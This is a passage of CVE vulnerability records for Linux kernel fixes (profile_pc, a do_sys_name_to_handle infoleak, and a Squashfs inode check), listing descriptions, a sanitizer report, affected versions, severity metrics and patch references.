          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nx86: stop playing stack games in profile_pc()\n\nThe \u0027profile_pc()\u0027 function is used for timer-based profiling, which\nisn\u0027t really all that relevant any more to begin with, but it also ends\nup making assumptions based on the stack layout that aren\u0027t necessarily\nvalid.\n\nBasically, the code tries to account the time spent in spinlocks to the\ncaller rather than the spinlock, and while I support that as a concept,\nit\u0027s not worth the code complexity or the KASAN warnings when no serious\nprofiling is done using timers anyway these days.\n\nAnd the code really does depend on stack layout that is only true in the\nsimplest of cases.  We\u0027ve lost the comment at some point (I think when\nthe 32-bit and 64-bit code was unified), but it used to say:\n\n\tAssume the lock function has either no stack frame or a copy\n\tof eflags from PUSHF.\n\nwhich explains why it just blindly loads a word or two straight off the\nstack pointer and then takes a minimal look at the values to just check\nif they might be eflags or the return pc:\n\n\tEflags always has bits 22 and up cleared unlike kernel addresses\n\nbut that basic stack layout assumption assumes that there isn\u0027t any lock\ndebugging etc going on that would complicate the code and cause a stack\nframe.\n\nIt causes KASAN unhappiness reported for years by syzkaller [1] and\nothers [2].\n\nWith no real practical reason for this any more, just remove the code.\n\nJust for historical interest, here\u0027s some background commits relating to\nthis code from 2006:\n\n  0cb91a229364 (\"i386: Account spinlocks to the caller during profiling for !FP kernels\")\n  31679f38d886 (\"Simplify profile_pc on x86-64\")\n\nand a code unification from 2009:\n\n  ef4512882dbe (\"x86: time_32/64.c unify profile_pc\")\n\nbut the basics of this thing actually goes back to before the git tree."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:26:55.182Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/65ebdde16e7f5da99dbf8a548fb635837d78384e"
        },
        {
          "url": "https://git.kernel.org/stable/c/27c3be840911b15a3f24ed623f86153c825b6b29"
        },
        {
          "url": "https://git.kernel.org/stable/c/49c09ca35a5f521d7fa18caf62fdf378f15e8aa4"
        },
        {
          "url": "https://git.kernel.org/stable/c/2d07fea561d64357fb7b3f3751e653bf20306d77"
        },
        {
          "url": "https://git.kernel.org/stable/c/161cef818545ecf980f0e2ebaf8ba7326ce53c2b"
        },
        {
          "url": "https://git.kernel.org/stable/c/16222beb9f8e5ceb0beeb5cbe54bef16df501a92"
        },
        {
          "url": "https://git.kernel.org/stable/c/a3b65c8cbc139bfce9541bc81c1bb766e5ba3f68"
        },
        {
          "url": "https://git.kernel.org/stable/c/093d9603b60093a9aaae942db56107f6432a5dca"
        }
      ],
      "title": "x86: stop playing stack games in profile_pc()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-42096",
    "datePublished": "2024-07-29T17:39:31.620Z",
    "dateReserved": "2024-07-29T15:50:41.173Z",
    "dateUpdated": "2026-05-12T11:56:37.340Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26901 (GCVE-0-2024-26901)

Vulnerability from cvelistv5 – Published: 2024-04-17 10:27 – Updated: 2026-05-12 11:50

Title

do_sys_name_to_handle(): use kzalloc() to fix kernel-infoleak

Summary

In the Linux kernel, the following vulnerability has been resolved: do_sys_name_to_handle(): use kzalloc() to fix kernel-infoleak syzbot identified a kernel information leak vulnerability in do_sys_name_to_handle() and issued the following report [1]. [1] "BUG: KMSAN: kernel-infoleak in instrument_copy_to_user include/linux/instrumented.h:114 [inline] BUG: KMSAN: kernel-infoleak in _copy_to_user+0xbc/0x100 lib/usercopy.c:40 instrument_copy_to_user include/linux/instrumented.h:114 [inline] _copy_to_user+0xbc/0x100 lib/usercopy.c:40 copy_to_user include/linux/uaccess.h:191 [inline] do_sys_name_to_handle fs/fhandle.c:73 [inline] __do_sys_name_to_handle_at fs/fhandle.c:112 [inline] __se_sys_name_to_handle_at+0x949/0xb10 fs/fhandle.c:94 __x64_sys_name_to_handle_at+0xe4/0x140 fs/fhandle.c:94 ... Uninit was created at: slab_post_alloc_hook+0x129/0xa70 mm/slab.h:768 slab_alloc_node mm/slub.c:3478 [inline] __kmem_cache_alloc_node+0x5c9/0x970 mm/slub.c:3517 __do_kmalloc_node mm/slab_common.c:1006 [inline] __kmalloc+0x121/0x3c0 mm/slab_common.c:1020 kmalloc include/linux/slab.h:604 [inline] do_sys_name_to_handle fs/fhandle.c:39 [inline] __do_sys_name_to_handle_at fs/fhandle.c:112 [inline] __se_sys_name_to_handle_at+0x441/0xb10 fs/fhandle.c:94 __x64_sys_name_to_handle_at+0xe4/0x140 fs/fhandle.c:94 ... Bytes 18-19 of 20 are uninitialized Memory access of size 20 starts at ffff888128a46380 Data copied to user address 0000000020000240" Per Chuck Lever's suggestion, use kzalloc() instead of kmalloc() to solve the problem.

Severity ?

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CWE

CWE-noinfo Not enough information

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/4bac28f441e3cc9d3…
https://git.kernel.org/stable/c/772a7def9868091da…
https://git.kernel.org/stable/c/cde76b3af247f6154…
https://git.kernel.org/stable/c/423b6bdf19bbc5e1f…
https://git.kernel.org/stable/c/e6450d5e46a737a00…
https://git.kernel.org/stable/c/c1362eae861db28b1…
https://git.kernel.org/stable/c/cba138f1ef37ec6f9…
https://git.kernel.org/stable/c/bf9ec1b24ab4e9434…
https://git.kernel.org/stable/c/3948abaa4e2be938c…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 990d6c2d7aee921e3bce22b2d6a750fd552262be , < 4bac28f441e3cc9d3f1a84c8d023228a68d8a7c1 (git) Affected: 990d6c2d7aee921e3bce22b2d6a750fd552262be , < 772a7def9868091da3bcb0d6c6ff9f0c03d7fa8b (git) Affected: 990d6c2d7aee921e3bce22b2d6a750fd552262be , < cde76b3af247f615447bcfecf610bb76c3529126 (git) Affected: 990d6c2d7aee921e3bce22b2d6a750fd552262be , < 423b6bdf19bbc5e1f7e7461045099917378f7e71 (git) Affected: 990d6c2d7aee921e3bce22b2d6a750fd552262be , < e6450d5e46a737a008b4885aa223486113bf0ad6 (git) Affected: 990d6c2d7aee921e3bce22b2d6a750fd552262be , < c1362eae861db28b1608b9dc23e49634fe87b63b (git) Affected: 990d6c2d7aee921e3bce22b2d6a750fd552262be , < cba138f1ef37ec6f961baeab62f312dedc7cf730 (git) Affected: 990d6c2d7aee921e3bce22b2d6a750fd552262be , < bf9ec1b24ab4e94345aa1c60811dd329f069c38b (git) Affected: 990d6c2d7aee921e3bce22b2d6a750fd552262be , < 3948abaa4e2be938ccdfc289385a27342fb13d43 (git)
Linux	Linux	Affected: 2.6.39 Unaffected: 0 , < 2.6.39 (semver) Unaffected: 4.19.311 , ≤ 4.19.* (semver) Unaffected: 5.4.273 , ≤ 5.4.* (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "LOW",
              "baseScore": 5.3,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-26901",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-07-16T15:11:22.418196Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-11-07T19:03:33.420Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.665Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4bac28f441e3cc9d3f1a84c8d023228a68d8a7c1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/772a7def9868091da3bcb0d6c6ff9f0c03d7fa8b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/cde76b3af247f615447bcfecf610bb76c3529126"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/423b6bdf19bbc5e1f7e7461045099917378f7e71"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e6450d5e46a737a008b4885aa223486113bf0ad6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c1362eae861db28b1608b9dc23e49634fe87b63b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/cba138f1ef37ec6f961baeab62f312dedc7cf730"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/bf9ec1b24ab4e94345aa1c60811dd329f069c38b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3948abaa4e2be938ccdfc289385a27342fb13d43"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:50:28.880Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/fhandle.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "4bac28f441e3cc9d3f1a84c8d023228a68d8a7c1",
              "status": "affected",
              "version": "990d6c2d7aee921e3bce22b2d6a750fd552262be",
              "versionType": "git"
            },
            {
              "lessThan": "772a7def9868091da3bcb0d6c6ff9f0c03d7fa8b",
              "status": "affected",
              "version": "990d6c2d7aee921e3bce22b2d6a750fd552262be",
              "versionType": "git"
            },
            {
              "lessThan": "cde76b3af247f615447bcfecf610bb76c3529126",
              "status": "affected",
              "version": "990d6c2d7aee921e3bce22b2d6a750fd552262be",
              "versionType": "git"
            },
            {
              "lessThan": "423b6bdf19bbc5e1f7e7461045099917378f7e71",
              "status": "affected",
              "version": "990d6c2d7aee921e3bce22b2d6a750fd552262be",
              "versionType": "git"
            },
            {
              "lessThan": "e6450d5e46a737a008b4885aa223486113bf0ad6",
              "status": "affected",
              "version": "990d6c2d7aee921e3bce22b2d6a750fd552262be",
              "versionType": "git"
            },
            {
              "lessThan": "c1362eae861db28b1608b9dc23e49634fe87b63b",
              "status": "affected",
              "version": "990d6c2d7aee921e3bce22b2d6a750fd552262be",
              "versionType": "git"
            },
            {
              "lessThan": "cba138f1ef37ec6f961baeab62f312dedc7cf730",
              "status": "affected",
              "version": "990d6c2d7aee921e3bce22b2d6a750fd552262be",
              "versionType": "git"
            },
            {
              "lessThan": "bf9ec1b24ab4e94345aa1c60811dd329f069c38b",
              "status": "affected",
              "version": "990d6c2d7aee921e3bce22b2d6a750fd552262be",
              "versionType": "git"
            },
            {
              "lessThan": "3948abaa4e2be938ccdfc289385a27342fb13d43",
              "status": "affected",
              "version": "990d6c2d7aee921e3bce22b2d6a750fd552262be",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/fhandle.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.39"
            },
            {
              "lessThan": "2.6.39",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.311",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.273",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.311",
                  "versionStartIncluding": "2.6.39",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.273",
                  "versionStartIncluding": "2.6.39",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "2.6.39",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "2.6.39",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "2.6.39",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "2.6.39",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "2.6.39",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "2.6.39",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "2.6.39",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndo_sys_name_to_handle(): use kzalloc() to fix kernel-infoleak\n\nsyzbot identified a kernel information leak vulnerability in\ndo_sys_name_to_handle() and issued the following report [1].\n\n[1]\n\"BUG: KMSAN: kernel-infoleak in instrument_copy_to_user include/linux/instrumented.h:114 [inline]\nBUG: KMSAN: kernel-infoleak in _copy_to_user+0xbc/0x100 lib/usercopy.c:40\n instrument_copy_to_user include/linux/instrumented.h:114 [inline]\n _copy_to_user+0xbc/0x100 lib/usercopy.c:40\n copy_to_user include/linux/uaccess.h:191 [inline]\n do_sys_name_to_handle fs/fhandle.c:73 [inline]\n __do_sys_name_to_handle_at fs/fhandle.c:112 [inline]\n __se_sys_name_to_handle_at+0x949/0xb10 fs/fhandle.c:94\n __x64_sys_name_to_handle_at+0xe4/0x140 fs/fhandle.c:94\n ...\n\nUninit was created at:\n slab_post_alloc_hook+0x129/0xa70 mm/slab.h:768\n slab_alloc_node mm/slub.c:3478 [inline]\n __kmem_cache_alloc_node+0x5c9/0x970 mm/slub.c:3517\n __do_kmalloc_node mm/slab_common.c:1006 [inline]\n __kmalloc+0x121/0x3c0 mm/slab_common.c:1020\n kmalloc include/linux/slab.h:604 [inline]\n do_sys_name_to_handle fs/fhandle.c:39 [inline]\n __do_sys_name_to_handle_at fs/fhandle.c:112 [inline]\n __se_sys_name_to_handle_at+0x441/0xb10 fs/fhandle.c:94\n __x64_sys_name_to_handle_at+0xe4/0x140 fs/fhandle.c:94\n ...\n\nBytes 18-19 of 20 are uninitialized\nMemory access of size 20 starts at ffff888128a46380\nData copied to user address 0000000020000240\"\n\nPer Chuck Lever\u0027s suggestion, use kzalloc() instead of kmalloc() to\nsolve the problem."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:06:36.908Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/4bac28f441e3cc9d3f1a84c8d023228a68d8a7c1"
        },
        {
          "url": "https://git.kernel.org/stable/c/772a7def9868091da3bcb0d6c6ff9f0c03d7fa8b"
        },
        {
          "url": "https://git.kernel.org/stable/c/cde76b3af247f615447bcfecf610bb76c3529126"
        },
        {
          "url": "https://git.kernel.org/stable/c/423b6bdf19bbc5e1f7e7461045099917378f7e71"
        },
        {
          "url": "https://git.kernel.org/stable/c/e6450d5e46a737a008b4885aa223486113bf0ad6"
        },
        {
          "url": "https://git.kernel.org/stable/c/c1362eae861db28b1608b9dc23e49634fe87b63b"
        },
        {
          "url": "https://git.kernel.org/stable/c/cba138f1ef37ec6f961baeab62f312dedc7cf730"
        },
        {
          "url": "https://git.kernel.org/stable/c/bf9ec1b24ab4e94345aa1c60811dd329f069c38b"
        },
        {
          "url": "https://git.kernel.org/stable/c/3948abaa4e2be938ccdfc289385a27342fb13d43"
        }
      ],
      "title": "do_sys_name_to_handle(): use kzalloc() to fix kernel-infoleak",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26901",
    "datePublished": "2024-04-17T10:27:50.374Z",
    "dateReserved": "2024-02-19T14:20:24.187Z",
    "dateUpdated": "2026-05-12T11:50:28.880Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26982 (GCVE-0-2024-26982)

Vulnerability from cvelistv5 – Published: 2024-05-01 05:27 – Updated: 2026-05-12 11:50

Title

Squashfs: check the inode number is not the invalid value of zero

Summary

In the Linux kernel, the following vulnerability has been resolved: Squashfs: check the inode number is not the invalid value of zero Syskiller has produced an out of bounds access in fill_meta_index(). That out of bounds access is ultimately caused because the inode has an inode number with the invalid value of zero, which was not checked. The reason this causes the out of bounds access is due to following sequence of events: 1. Fill_meta_index() is called to allocate (via empty_meta_index()) and fill a metadata index. It however suffers a data read error and aborts, invalidating the newly returned empty metadata index. It does this by setting the inode number of the index to zero, which means unused (zero is not a valid inode number). 2. When fill_meta_index() is subsequently called again on another read operation, locate_meta_index() returns the previous index because it matches the inode number of 0. Because this index has been returned it is expected to have been filled, and because it hasn't been, an out of bounds access is performed. This patch adds a sanity check which checks that the inode number is not zero when the inode is created and returns -EINVAL if it is. [phillip@squashfs.org.uk: whitespace fix]

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/32c114a58236fe671…
https://git.kernel.org/stable/c/4a1b6f89825e267e1…
https://git.kernel.org/stable/c/cf46f88b92cfc0e32…
https://git.kernel.org/stable/c/5b99dea79650b5090…
https://git.kernel.org/stable/c/be383effaee3d8903…
https://git.kernel.org/stable/c/7def00ebc9f2d6a58…
https://git.kernel.org/stable/c/9253c54e01b6505d3…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 6545b246a2c815a8fcd07d58240effb6ec3481b1 , < 32c114a58236fe67141634774559f21f1dc96fd7 (git) Affected: 6545b246a2c815a8fcd07d58240effb6ec3481b1 , < 4a1b6f89825e267e156ccaeba3d235edcac77f94 (git) Affected: 6545b246a2c815a8fcd07d58240effb6ec3481b1 , < cf46f88b92cfc0e32bd8a21ba1273cff13b8745f (git) Affected: 6545b246a2c815a8fcd07d58240effb6ec3481b1 , < 5b99dea79650b50909c50aba24fbae00f203f013 (git) Affected: 6545b246a2c815a8fcd07d58240effb6ec3481b1 , < be383effaee3d89034f0828038f95065b518772e (git) Affected: 6545b246a2c815a8fcd07d58240effb6ec3481b1 , < 7def00ebc9f2d6a581ddf46ce4541f84a10680e5 (git) Affected: 6545b246a2c815a8fcd07d58240effb6ec3481b1 , < 9253c54e01b6505d348afbc02abaa4d9f8a01395 (git)
Linux	Linux	Affected: 2.6.29 Unaffected: 0 , < 2.6.29 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.130 , ≤ 6.1.* (semver) Unaffected: 6.6.30 , ≤ 6.6.* (semver) Unaffected: 6.8.8 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T17:15:00.359Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/be383effaee3d89034f0828038f95065b518772e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7def00ebc9f2d6a581ddf46ce4541f84a10680e5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9253c54e01b6505d348afbc02abaa4d9f8a01395"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00045.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DAMSOZXJEPUOXW33WZYWCVAY7Z5S7OOY/"
          },
          {
            "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4EZ6PJW7VOZ224TD7N4JZNU6KV32ZJ53/"
          },
          {
            "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GCBZZEC7L7KTWWAS2NLJK6SO3IZIL4WW/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26982",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:45:06.926436Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:42.999Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - BIOS",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:50:59.992Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-503939.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/squashfs/inode.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "32c114a58236fe67141634774559f21f1dc96fd7",
              "status": "affected",
              "version": "6545b246a2c815a8fcd07d58240effb6ec3481b1",
              "versionType": "git"
            },
            {
              "lessThan": "4a1b6f89825e267e156ccaeba3d235edcac77f94",
              "status": "affected",
              "version": "6545b246a2c815a8fcd07d58240effb6ec3481b1",
              "versionType": "git"
            },
            {
              "lessThan": "cf46f88b92cfc0e32bd8a21ba1273cff13b8745f",
              "status": "affected",
              "version": "6545b246a2c815a8fcd07d58240effb6ec3481b1",
              "versionType": "git"
            },
            {
              "lessThan": "5b99dea79650b50909c50aba24fbae00f203f013",
              "status": "affected",
              "version": "6545b246a2c815a8fcd07d58240effb6ec3481b1",
              "versionType": "git"
            },
            {
              "lessThan": "be383effaee3d89034f0828038f95065b518772e",
              "status": "affected",
              "version": "6545b246a2c815a8fcd07d58240effb6ec3481b1",
              "versionType": "git"
            },
            {
              "lessThan": "7def00ebc9f2d6a581ddf46ce4541f84a10680e5",
              "status": "affected",
              "version": "6545b246a2c815a8fcd07d58240effb6ec3481b1",
              "versionType": "git"
            },
            {
              "lessThan": "9253c54e01b6505d348afbc02abaa4d9f8a01395",
              "status": "affected",
              "version": "6545b246a2c815a8fcd07d58240effb6ec3481b1",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/squashfs/inode.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.29"
            },
            {
              "lessThan": "2.6.29",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.130",
              "versionType": "semver"
            },
            {
